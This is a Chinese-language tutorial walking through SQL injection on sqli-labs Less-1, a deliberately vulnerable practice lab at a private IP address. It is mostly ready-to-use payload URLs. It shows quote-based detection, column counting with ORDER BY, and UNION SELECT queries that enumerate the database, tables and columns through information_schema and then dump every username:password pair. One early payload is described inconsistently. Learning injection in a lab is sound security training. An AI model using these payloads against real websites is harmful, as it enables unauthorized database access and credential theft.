1.http://192.168.1.223/sqli/Less-1/
2.http://192.168.1.223/sqli/Less-1/?id=1,链接后面添加?id=1
3.http://192.168.1.223/sqli/Less-1/?id=1',id=1后面加个单引号('
)查看返回的内容(输入http://192.168.1.223/sqli/Less-1/?id=1' and 1=1; --+返回正常,输入http://192.168.1.223/sqli/Less-1/?id=1' and 1=1; --+返回异常,字符型注入)
发现返回了SQL语句的报错信息,从这个界面报错中可以得知这里是存在注入(现实中基本不会返回信息,这个我们将在后面接触),此处的id参数满足注入攻击的两个条件,id的参数用户可以控制,并且这个参数会带入数据库中执行。为什么在id后面添加一个单引号就可以判断该处存在注入呢,我们可以来看看源代码,解析下;
从源代码中发现,链接中的id参数查询语句为SELECT * FROM users WHERE id='$id' LIMIT 0,1
,其中$id
为我们输入的参数,当我们在链接中构造?id=1'
是其实执行了源代码中的sql查询语句,此时的sql语句为:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
通过加单引号可以干扰其无法执行sql语句导致报错,以此返回了我们看到的报错信息;
ok,当知道id存在注入后,下面需要猜测字段了,需要猜测这个数据库是多少个字段的,由于此处是MySQL数据库,所以使用order by命令进行字段的猜测,后期会有其它数据库猜测操作;
使用order by猜测字段的时候,先用大数字然后在用二分法判断(如,先来个10,如果不是10再猜5,如果不是5就猜2或3以此类推)
先来猜测10个字段,看看返回的内容是什么;
输入内容为:?id=1' order by 10;--+
http://192.168.1.223/sqli/Less-1/?id=1' and 1=1;-- +
注意,在用order by时最好在后面添加sql的注释符,常用;--+
(–后面要跟一个空格,或者使用--+
,+在url中代表空格)或#
当使用?id=1' order by 10;--+
时,源码中的sql语句改变为:
3.http://192.168.1.223/sqli/Less-1/?id=1' order by 3; --+
从上面的sql查询内容中可以得知,通过注释符号可以注释后面的' LIMIT 0,1,以免产生报错;
当我们查询的字段为10时,发现返回的报错了,说明第10列第内容未知,说明没有表内的内容没有这么多字段,可以理解成表中的内容没有10列;
下面我们就可以使用刚说的2分法,把10修改成5,如果5不成就修改为2或3;
当我们查询到3的时候,发现其返回了正常页面,说明表中起码有3个字段(数据为3列),为了判断是否为3个字段,可以输入4看看返回的内容;
可以从返回内容发现,当我们查询4个字段时,发生了报错,说明该表的内容为3个字段(数据为3列),我们可以在其数据库内查看是否为3个字段;select * from users where id='1';
当我们知道其表为3列后,即可使用sql的联合查询对其数据库进行命令操作,构造查询payload:
可以发现该表的确为3个字段,现在我们通过order by查询出了该表有3个字段,当我们知道其字段数后,下面就可以使用union select
联合查询获取其数据库信息;
select * from users where id='-1' union select 1,2,version();
select后面的1,2,3
是获得的字段数(上面通过order by查出了表的字段为3,),注意这里的id=-1
而不是为1,为何为-1内,我们通过mysql命令操作来解释:
从命令返回的内容可以发现,union操作是把select语句的结果合并到一个结果集中,第一个select我们查询了users表中id为1的内容,第二个select,我们在第三列中查询了mysql的版本号,如果我们在url中的输入的是id=1',那么页面返回到内容也是第一次select查询的内容;
故我们需要让其id值不存在,让其现实第二个select查询的内容;
select * from users where id='-1' union select 1,2,version();
页面返回内容:
http://192.168.1.223/sqli/Less-1/?id=-1' union select 1,2,version();--+
由此,我们成功执行了数据库命令;
mysql常用函数:
version() 数据库版本
user() 数据库用户名
database() 数据库名
查询一下数据库名和数据库用户名;
select * from users where id='-1' union select 1,user(),database();-- +
http://192.168.1.223/sqli/Less-1/?id=-1' union select 1,user(),database();--+
构造payload查询表名;
select * from users where id='-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database();-- +
http://192.168.1.223/sqli/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database();-- +
构造的payload中,group_concat()
是mysql的一个分组合并函数,通过这个函数可以把查询出来的表合并到一起现实,如果没有该函数,那么返回的内容如下:
http://192.168.1.223/sqli/Less-1/?id=-1' union select 1,2,table_name from information_schema.tables where table_schema=database();-- +
如果没有该函数,那么查询的内容将是多行,网页上面无法显示完整,故需要使用该函数;
其中的information_schema为MySQl默认数据库,里面存放着所有数据库的信息(比如表名、 列名、对应权限等),通过这个数据库,我们就可以跨库查询,爆表爆列;
其中table_name为表名,table_schema为表所有者,如果要查询列名可以用column_name;
当我们知道表名后就可以查表中的列名及内容;
查表内容,当然是要查询users表中的内容了,构造payload;
http://192.168.1.223/sqli/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users';-- +
成功获取其users表中的列名,从列名中发现了username
和password
,嘿嘿,下面你懂的;
对这两个列的字段内容进行查看,构造payload;
http://192.168.1.223/sqli/Less-1/?id=-1' union select 1,2,group_concat(username,0x3a,password) from users;-- +
其中0x3a
主要是为了让用户名和密码通过冒号分割开来以便区分,0x
为16进制标志,3a
十六进制代表ascii码中的:
,通过添加冒号更好区分用户名和密码,通过查询username
和password
成功获取用户名及密码。
如果不是0x3a
来区分,你会获取下面一个头大的内容:
http://192.168.1.223/sqli/Less-1/?id=-1' union select 1,2,group_concat(id,username,password) from users;-- +